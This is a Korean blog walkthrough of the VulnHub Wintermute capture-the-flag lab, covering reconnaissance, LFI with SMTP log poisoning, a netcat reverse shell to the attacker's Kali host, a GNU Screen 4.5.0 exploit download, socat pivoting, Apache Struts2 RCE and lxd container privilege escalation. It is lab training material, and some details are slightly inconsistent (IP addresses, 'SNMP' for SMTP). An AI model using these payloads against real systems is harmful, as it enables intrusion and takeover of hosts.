vulnhub

vuluhub [Wintermute]

sheow13 2023. 10. 18. 10:55
728x90

 Wintermute 환경 실습

 실습 환경

- VMware로 구성

- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]

- holynix[설치 경로 : https://www.vulnhub.com/entry/wintermute-1,239/]

 

① Straylight 설치 후, Virtual Box에서 내부 Network 생성을 위하여 네트워크 추가 설정 필요

[Virtual Box에서 Kali Linux와 직접적으로 통신할 수 있는 Network 추가]
[내부(Straylight<->Neuromancer)끼리 통신을 하기 위해서 Network 추가]

② Straylight에는 Kali, Neuromancer와 통신을 할 수 있도록 Network 어뎁터 두개 설정

[Straylight 네트워크 어댑터 두개 설정]

③ Neuromancer에는 Network 어뎁터 한 개 설정

[Kali에서 직접 접근하지 못하게 네트워크 설정]

실습 목표

- 이 실습의 목표는 칼리 리눅스로 같은 네트워크 대역에 있는 Straylight 권한을 탈취 후 거점 이동을 통해 내부 Zone에 있는 Neuromancer 권한 탈취가 목표

- Lateral Movement(측면 이동)을 하기 위한 pivoting 수행하는 방법 숙지

 실습 시나리오

 

Tactics Descriptions
Reconnaissance - NMAP, gobuster 등의 도구를 통해 정보 수집
Initial Access - SMTP, HTTP 포트 오픈 및 관리자 페이지 내 LFI 취약점 존재 확인
Execution - SMTP RCE 취약점을 이용하여 리버스 쉘 획득
④ Privilege Escalation - GNU Screen 4.5.0 취약점(CVE-2017-5618)을 통해 Root 권한 획득
⑤ Discovery - Ping 통신을 통해 내부망 서버 포트 정보 수집
⑥ Lateral Movement - Socat을 통한 포트 간 터널링 진행
⑦ Privilege Escalation - lxd group escalate prvileges 취약점(CVE-2020-8933)를 통해 Root 권한 획득

 

 진행 절차

Reconnaissance(정찰)

Step 1. Straylight 환경 Virtual Box에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음

해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취가 목표

 

Step  2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득

Kali Linux와 Straylight를 VirtualBox에서 NAT로 같은 네트워크 설정 필요
VirtualBox에서는 xxx.[1,2,3]은 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요

 

명령어
arp-scan -I eth0 -l

[arp-scan 조회 결과]

 

Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집

Open된 포트 :SMTP(25/TCP), HTTP(80/TCP), 3000(PPP)
NMAP을 통해 Open되어 있는 포트가 SSH, HTTP, 3000번 포트가 오픈되어 있고, 우선적으로 HTTP에 취약점이 존재하는지 체크 필요

 

 

Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 디렉토리 인덱싱, XSS,관리자 페이지 노출 취약점이 있는 것으로 확인되며 이를 이용해서 추가 공격을 할 수 있을 것으로 판단.

명령어
nikto -h http://[점검할 IP]

[nikto 조회 결과]

 

Step 5. 추가적인 정보를 수집하기 위해 디렉토리 스캔 도구 중 하나인 gobuster를 통해 수집해본 결과, '/manual' 경로와 ‘/freeside' 경로가 있는 것을 확인하였으며, ’/manual' 경로는 기본 경로이며, ‘/freeside'경로에 jpg 파일이 하나 있는 것으로 확인되나 침투에 도움이 될만한 사항이 없는 것으로 확인되어, 3000번 포트로 접근 시도

 

명령어
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u [점검 IP]

[gobuster 조회 결과]
[gobuster로 조회 된 디렉토리 접근 가능 확인]

 

 

Initial Access(초기 침투)

Step 6. 추가적인 정보를 수집하기 위해 디렉토리 스캔 도구 중 하나인 gobuster를 통해 수집해본 결과, '/manual' 경로와 ‘/freeside' 경로가 있는 것을 확인하였으며, ’/manual' 경로는 기본 경로이며, ‘/freeside'경로에 jpg 파일이 하나 있는 것으로 확인되나 침투에 도움이 될만한 사항이 없는 것으로 확인되어, 3000번 포트로 접근 시도 후 Flows에서 '/turing-bolo/' 경로로 HTTP 통신을 하는 것으로 확인

 

[3000번 포트로 조회 시, 관리자 계정 ID/PW가 'admin'임을 확인]

 

[접근 시서버 통신을 확인할 수 있는 페이지가 보이며, http로 '/turing-bolo/' 경로로 통신하는 것으로 확인]

 

 

Execution(실행)

Step 7. '/turing-bolo'로 들어갔을 때 쿼리를 제출하는 버튼이 있는 것으로 보이며, 하나를 선택하고 쿼리를 보냈을 때, 힌트를 주는 메시지를 확인할 수 있음. 다른 맴버의 디렉토리 경로를 참조(‘molly.log', 'armitage.log', 'riviera.log') 하는 것으로 확인했을 때, LFI(Local File Include) 공격 가능 여부를 체크할 필요가 있다고 판단. 여러 가지 공격을 진행 후에 ’/var/log/mail' 경로를 확인할 수 있었으며, nmap을 통해 SMTP를 사용하고 있는 것으로 확인했을 때 SMTP를 통해 취약점을 찾아야겠다는 힌트 획득

명령어
http://[점검 IP]/turing-bolo/bolo.php?bolo=/var/log/mail

[tuning-bolo 경로로 접근 시, 쿼리를 제출하라는 버튼 확인]
[힌트로 로컬에 있는 LOG 파일을 참조하는 것으로 확인]
[로컬 파일('/var/log/mail') 조회 시, 정상적으로 출력되는 것으로 확인]

 

Step 8. 이전에 nmap을 통해 SNMP 포트가 오픈되어 있는것을 확인하여 telnet 명령어를 통해 smtp 통신 가능 여부 확인 후, SNMP에서 부적절한 입력값을 검증하지 않는 취약점을 이용하여 메일 헤더에 시스템 명령어 삽입하여 리버스 쉘 획득 시도 시, 정상적으로 업로드 확인 가능

명령어
root@kali#telnet [접근할 IP] 25
MAIL FROM:<mzfr@vulnhub.com></mzfr@vulnhub.com>
RCPT TO:<?php echo system($_POST['cmd']); ?>
root@kali#curl -X POST http://[접근할 IP]/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=ls"
root@kali#curl -X POST http://[접근할 IP]/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=nc -e /bin/sh [칼리 IP] 4444"
root@kali# nc –lvnp 4444
root@kali#python –c ‘import pty;pty.spawn(“/bin/bash”)’

 

[메일 본문에 시스템 명령어를 삽입할 수 있는 코드 입력]
[시스템 명령어 동작 확인]
[리버스 커넥션을 위해 명령어 삽입 후 netcat을 사용하여 대기 시, 정상적으로 리버스 쉘 획득 확인]
[bash 쉘을 획득하기 위해 상기에 기재된 명령어 입력시, bash 쉘 획득 확인]

 

 

Privilege Escalation(권한 상승)

Step 9. 권한 상승을 위하여 내부 취약점 스캔 중 screen-4.5.0을 사용하고 있는 것으로 확인되어, 해당 취약점을 이용하여 공격 진행 시 루트 권한 획득 성공

입력값
www-data@straylight:/tmp$find / -perm –4000 2>/dev/null
www-data@straylight:/tmp$ searchsploit screen 4.5.0
www-data@straylight:/tmp$ searchsploit –m linux/local/41154.sh
root@kali#python3 -m http.server 80
www-data@straylight:/tmp$ wget http://[칼리 IP]/41154.sh
www-data@straylight:/tmp$ chmod 777 41154.sh
www-data@straylight:/tmp$ ./41154.sh

[SetUID 설정된 파일 또는 디렉토리 중, 보안상 취약한 screen-4.5.0이 있음을 확인]
[searchsploit을 통해 scrren 4.5.0 버전 exploit 코드가 있는 것으로 확인 후, 해당 스크립트를 복사 한 뒤 straylight에서 해당 스크립트를 다운로드 받을 수 있도록 서버 오픈]
[해당 스크립트 복사 및 권한 설정 후 공격 진행 시, 루트 권한 획득 확인]
[루트 권한 획득 확인]

 

 

Discovery & Lateral Movement(발견 & 측면 이동)

Step 10.  내부 스캔을 위하여 ping 통신 및 netcat을 사용하여 조회 시, TCP_8009, TCP_8080, TCP_34483 포트가 오픈된 것으로 확인. 해당 포트를 포트포워딩을 통해 접근 시도

입력값
mousepad pingSweep.sh
python3 –m http.server 80
wget http://[칼리 IP]/pingSweep.sh
chmod 777 pingSweep.sh
./pingSweep.sh
for i in $(seq 1 65535); do nc -nvz -w 1 10.10.2.4 $i 2>&1; done | grep -v "Connection refused"
socat TCP-LISTEN:8009,fork,reuseaddr tcp:10.0.2.4:8009 &
socat TCP-LISTEN:8080,fork,reuseaddr tcp:10.0.2.4:8080 &
socat TCP-LISTEN:34483,fork,reuseaddr tcp:10.0.2.4:34483 &
nmap sC sV –T4 [Neuromancer IP] -p8009,8080,3448

 

[내부 Zone 네트워크 스캔을 위한 쉘 스크립트 생성]
[스크립트 실행하여 내부 네트워크 확인]
[상기 기재된 명령어 중 for문을 사용하여 neuromancer open된 포트 조회 결과, '8009', '8080', '34483' 포트가 오픈된 것으로 확인. 칼리 리눅스에서 직접 neuromancer로 접근하기 위하여 포트포워딩 진행]

 

[포트포워딩한 neuromancer로 nmap을 통해 조회 시 정상적으로 출력됨을 확인했을 때, 정상적으로 포트포워딩이 됐음을 확인]

 

Step 11. 포트 포워딩한 192.168.1.13[Straylight]8080 포트로 접속 시 정상 접근 확인. root 경로에 있는 note를 확인 시, apache-struts2를 사용하고 있는 것으로 확인. 해당 경로로 접근 시 정상 접근 확인. apache struts2 RCE 공격을 활용하여 exploit을 진행하기 위해서 포트 포워딩이 필요. Neuromancer IP[10.0.2.X] 대역과 공격을 진행하는 IP[192.168.1.X]와 통신이 되지 않기 때문에 DMZ에 속하는 Straylight에서 포트포워딩이 필요.

Straylight에서 포트포워딩 후 Apache Struts2 RCE 공격 진행 시, 정상적으로 리버스 쉘 획득

[DMZ 구간에 속하는 Straylight에서 apache struts2 RCE 공격을 위하여 칼리 IP 및 포트 포트 포워딩]
[DMZ 구간에 속하는 Straylight에서 apache struts2 RCE 공격을 위하여 칼리 IP 및 포트 포트 포워딩]
[neuromancer에서 kali로 직접 접근이 불가하여 kali로 포트포워딩한 straylight로 리버스 쉘 연결할 수 있는 스크립트 생성]
[kali에서 포트포워딩한 neuromancer에 apache struts RCE 공격 진행]
[공격 성공하여 리버스 쉘 권한 획득 확인]

 

Privilege Escalation(권한 상승)

Step 12. 획득한 Neuromancer 권한 조회시, 일반 계정 권한으로 확인되어 권한 상승을 위하여 조회해본 결과, 컨테이너 그룹에 포함되어 있는 것으로 확인. 도커 데몬은 호스트에 대한 컨테이너 엑세스 권한을 제한하지 않아 도커 컨테이너 경로를 root 경로(/mnt/root)로 설정 시 일반 사용자도 루트 권한 획득 가능한 취약점을 이용하여 컨테이너 생성 및 이미지 등록할 경우, 정상적으로 root 권한 획득 성공

명령어
$ which lxd
$ which lxc
root@kali:sudo apt update
root@kali:sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
root@kali:git clone https://github.com/lxc/distrobuilder
root@kali:make
root@kali:mkdir p $HOME/ContainerImages/alpine
root@kali:cd $HOME/ContainerImanges/alpine/
root@kali:wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
root@kali:sudo /root/go/bin/distrobuilder build-lxd alpine.yaml o image.release=3.9
root@kali:cp lxd.tar.xz /var/www/html
root@kali:cp rootfs.squashfs /var/www/html
$wget http://[Straylight_내부_IP]:1234/lxd.tar.xz
$wget http://[Straylight_내부_IP]:1234/rootfs.squashfs
$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
$ lxc image list
$ lxc init alpine privesc -c security.privileged=true
$ lxd init
$ lxc list
$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
$ lxc start privesc
$ lxc exec privesc /bin/sh

[탈취한 계정 그룹 조회 결과, 컨테이너 그룹에 속해있음을 확인]
[alpine image 다운로드]
[neuromancer로 업로드를 위해 ('/var/www/html') 경로로 복사]
[neuromancer로 alpine image 업로드]
[alpine 이미지 import]
[alpine 이미지 초기화]
[루트 경로를 mount 진행]
[루트 권한으로 상승 확인]